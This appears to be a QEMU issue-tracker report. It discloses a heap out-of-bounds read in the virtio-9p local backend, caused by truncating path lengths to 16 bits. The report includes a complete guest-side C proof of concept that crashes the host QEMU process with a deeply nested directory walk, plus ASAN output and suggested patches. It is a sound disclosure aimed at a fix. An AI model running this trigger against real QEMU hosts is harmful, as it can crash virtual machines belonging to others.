9pfs V9fsPath.size uint16_t Truncation Causing Heap OOB Read
<!-- This is the upstream QEMU issue tracker. If you are able to, it will greatly facilitate bug triage if you attempt to reproduce the problem with the latest qemu.git master built from source. See https://www.qemu.org/download/#source for instructions on how to do this. QEMU generally supports the last two releases advertised on https://www.qemu.org/. Problems with distro-packaged versions of QEMU older than this should be reported to the distribution instead. See https://www.qemu.org/contribute/report-a-bug/ for additional guidance. If this is a security issue, please consult https://www.qemu.org/contribute/security-process/ --> ## Host environment - Operating system: Linux (Ubuntu 22.04) - OS/kernel version: 5.15.0-171-generic x86_64 - Architecture: x86_64 - QEMU flavor: qemu-system-x86_64 - QEMU version: v10.2.90 (commit 8e711856d7, master) - QEMU command line: ``` qemu-system-x86_64 \ -M pc -m 256M -nographic \ -kernel bzImage \ -initrd rootfs.cpio \ -append "console=ttyS0 panic=-1 quiet" \ -fsdev "local,id=myfs,path=/tmp/9pshare,security_model=none" \ -device "virtio-9p-pci,fsdev=myfs,mount_tag=hostshare" ``` ## Emulated/Virtualized environment - Operating system: Minimal Linux with busybox - OS/kernel version: Linux 6.19.9 x86_64 - Architecture: x86_64 ## Description of problem Heap buffer overflow (OOB read) in the 9pfs (virtio-9p) local backend due to `V9fsPath.size` being declared as `uint16_t`. In `fsdev/file-op-9p.h`, `V9fsPath.size` is `uint16_t`. In `v9fs_path_sprintf()` (`hw/9pfs/9p.c:214`), the return value of `g_vasprintf()` (an `int`) is assigned to this `uint16_t`, silently truncating paths longer than 65535 bytes. When `v9fs_path_copy()` (`hw/9pfs/9p.c:222`) later duplicates the path using the truncated size, it creates a tiny allocation (e.g., 2 bytes for a ~66KB path). Any subsequent operation that reads the path as a C string (e.g., `strrchr` in `local_lstat` at `hw/9pfs/9p-local.c:189`) reads past the allocation boundary. A guest with a mounted 9p share can create a ~260-level deep directory tree with 255-character directory names (total path ~66KB), then walks into it via `openat()`. The path accumulation happens in `local_name_to_path()` (`hw/9pfs/9p-local.c:1275`). When the path exceeds 65535 bytes, the truncation occurs. A subsequent `getattr` (triggered by `readdir`/`fstat`) on the deep fid calls `local_lstat()` which performs `g_path_get_dirname()` on the 2-byte buffer, causing the OOB read. The OOB read scans heap memory adjacent to the truncated allocation. On ASAN builds, this is detected as a heap-buffer-overflow. On non-ASAN builds, because the OOB read bytes are never returned to the guest machine, it can only cause crashes (DoS). Additionally, the truncated path size causes `v9fs_path_is_ancestor()` to produce false positive matches, which can corrupt fid paths during rename operations. ## Steps to reproduce 1. Build QEMU with AddressSanitizer: ``` mkdir build && cd build ../configure --enable-sanitizers --target-list=x86_64-softmmu make -j$(nproc) ``` 2. Prepare a guest with a statically-linked PoC binary (source below) and a kernel with `CONFIG_NET_9P_VIRTIO=y`, `CONFIG_9P_FS=y`, `CONFIG_VIRTIO_PCI=y`. 3. Create an empty directory for the 9p share: ``` mkdir /tmp/9pshare ``` 4. Launch QEMU with a 9p filesystem share: ``` qemu-system-x86_64 \ -M pc -m 256M -nographic \ -kernel bzImage \ -initrd rootfs.cpio \ -append "console=ttyS0 panic=-1 quiet" \ -fsdev "local,id=myfs,path=/tmp/9pshare,security_model=none" \ -device "virtio-9p-pci,fsdev=myfs,mount_tag=hostshare" ``` 5. Inside the guest, the PoC: - Mounts the 9p share: `mount -t 9p hostshare /mnt -o trans=virtio,version=9p2000.L` - Creates a 260-level deep directory tree with 255-char names via `mkdirat()` - Walks from `/mnt` into the tree via `openat()` (each step accumulates the path) - Calls `fdopendir()`/`readdir()` at max depth, triggering `getattr` → `local_lstat` 6. ASAN detects heap-buffer-overflow in `strrchr` called from `g_path_get_dirname` in `local_lstat`. ### Guest PoC source (`poc_9pfs_walk.c`) Compile with: `musl-gcc -static -O2 -o poc_9pfs_walk poc_9pfs_walk.c` ```c #include <sys/mount.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <dirent.h> #include <string.h> #include <errno.h> #define DEPTH 260 #define NAMELEN 255 static void puts_str(const char *s) { write(1, s, strlen(s)); write(1, "\n", 1); } static void puts_int(const char *prefix, int val) { char buf[32]; int i = 0; write(1, prefix, strlen(prefix)); if (val < 0) { write(1, "-", 1); val = -val; } if (val == 0) { write(1, "0", 1); } else { while (val > 0 && i < 30) { buf[i++] = '0' + (val % 10); val /= 10; } while (--i >= 0) write(1, &buf[i], 1); } write(1, "\n", 1); } int main(void) { int fd, newfd, depth, ret; DIR *dir; struct dirent *ent; char dirname[256]; puts_str("[*] 9pfs V9fsPath.size truncation OOB PoC"); mkdir("/mnt", 0755); ret = mount("hostshare", "/mnt", "9p", 0, "trans=virtio,version=9p2000.L"); if (ret < 0) { ret = mount("hostshare", "/mnt", "9p", 0, "trans=virtio"); if (ret < 0) { puts_str("[!] Mount failed"); return 1; } } puts_str("[*] 9p share mounted at /mnt"); memset(dirname, 'A', NAMELEN); dirname[NAMELEN] = '\0'; fd = open("/mnt", O_RDONLY | O_DIRECTORY); if (fd < 0) { puts_str("[!] open /mnt failed"); return 1; } /* Create 260-level deep directory tree over 9p */ for (depth = 0; depth < DEPTH; depth++) { ret = mkdirat(fd, dirname, 0755); if (ret < 0 && errno != EEXIST) break; newfd = openat(fd, dirname, O_RDONLY | O_DIRECTORY); if (newfd < 0) break; close(fd); fd = newfd; } close(fd); /* Walk from root to trigger path accumulation + truncation */ fd = open("/mnt", O_RDONLY | O_DIRECTORY); for (depth = 0; depth < DEPTH; depth++) { newfd = openat(fd, dirname, O_RDONLY | O_DIRECTORY); if (newfd < 0) break; close(fd); fd = newfd; } /* List directory → triggers getattr → OOB read */ dir = fdopendir(fd); if (dir) { while ((ent = readdir(dir)) != NULL) {} closedir(dir); } else { close(fd); } umount("/mnt"); return 0; } ``` ## Additional information ### ASAN output ``` ==1580914==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200012d0d2 at pc 0x555722f8a06f bp 0x7f4d4fdff9d0 sp 0x7f4d4fdff198 READ of size 3 at 0x60200012d0d2 thread T3 #0 0x555722f8a06e in __interceptor_strrchr (qemu-system-x86_64+0x97a06e) (BuildId: 5f5d875ccacda782584a40091cacc23e1b9e8449) #1 0x7f4de8a8e77b in g_path_get_dirname (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x3f77b) (BuildId: 6b4f160dbc5397c2f502dc4f08a8cff259917926) #2 0x55572322c63e in local_lstat hw/9pfs/9p-local.c:189:21 #3 0x555723267973 in v9fs_co_lstat hw/9pfs/cofile.c:59:5 #4 0x5557232455b1 in v9fs_getattr hw/9pfs/9p.c:1637:18 #5 0x5557249f148d in coroutine_trampoline util/coroutine-ucontext.c:175:9 #6 0x7f4de75ac12f stdlib/../sysdeps/unix/sysv/linux/x86_64/__start_context.S:90 0x60200012d0d2 is located 0 bytes to the right of 2-byte region [0x60200012d0d0,0x60200012d0d2) allocated by thread T0 here: #0 0x555722ff594e in malloc (qemu-system-x86_64+0x9e594e) (BuildId: 5f5d875ccacda782584a40091cacc23e1b9e8449) #1 0x7f4de8aad738 in g_malloc (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x5e738) (BuildId: 6b4f160dbc5397c2f502dc4f08a8cff259917926) Thread T3 created by T0 here: #0 0x555722fde6dc in pthread_create (qemu-system-x86_64+0x9ce6dc) (BuildId: 5f5d875ccacda782584a40091cacc23e1b9e8449) #1 0x5557249987ee in qemu_thread_create util/qemu-thread-posix.c:454:11 #2 0x5557249f6719 in do_spawn_thread util/thread-pool.c:150:5 #3 0x5557249f6382 in spawn_thread_bh_fn util/thread-pool.c:158:5 #4 0x5557249e1fbf in aio_bh_call util/async.c:173:5 #5 0x5557249e275a in aio_bh_poll util/async.c:220:13 #6 0x555724985755 in aio_dispatch util/aio-posix.c:390:5 #7 0x5557249e6648 in aio_ctx_dispatch util/async.c:365:5 #8 0x7f4de8aa4d3a in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x55d3a) (BuildId: 6b4f160dbc5397c2f502dc4f08a8cff259917926) SUMMARY: AddressSanitizer: heap-buffer-overflow (qemu-system-x86_64+0x97a06e) (BuildId: 5f5d875ccacda782584a40091cacc23e1b9e8449) in __interceptor_strrchr Shadow bytes around the buggy address: 0x0c048001d9c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c048001d9d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c048001d9e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c048001d9f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c048001da00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c048001da10: fa fa fa fa fa fa fd fa fa fa[02]fa fa fa fd fa 0x0c048001da20: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fd 0x0c048001da30: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa 0x0c048001da40: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fa 0x0c048001da50: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fa 0x0c048001da60: fa fa fd fd fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==1580914==ABORTING ``` The `2-byte region [0x60200012d0d0,0x60200012d0d2)` confirms the truncated size: the full path is ~66048 bytes, but `uint16_t` truncation reduces `size` to 2, so `g_memdup()` allocates only 2 bytes containing `"./"`. `strrchr` then scans past this into freed heap regions (`fd` shadow bytes). ### Suggested fix Change `V9fsPath.size` from `uint16_t` to `uint32_t`: ```c struct V9fsPath { uint32_t size; /* was: uint16_t */ char *data; }; ``` Or add overflow detection in `v9fs_path_sprintf()`: ```c void v9fs_path_sprintf(V9fsPath *path, const char *fmt, ...) { va_list ap; int len; v9fs_path_free(path); va_start(ap, fmt); len = g_vasprintf(&path->data, fmt, ap) + 1; va_end(ap); if (len > UINT16_MAX) { g_free(path->data); path->data = NULL; path->size = 0; return; /* or return error */ } path->size = len; } ``` <!-- The line below ensures that proper tags are added to the issue. Please do not remove it. -->
issue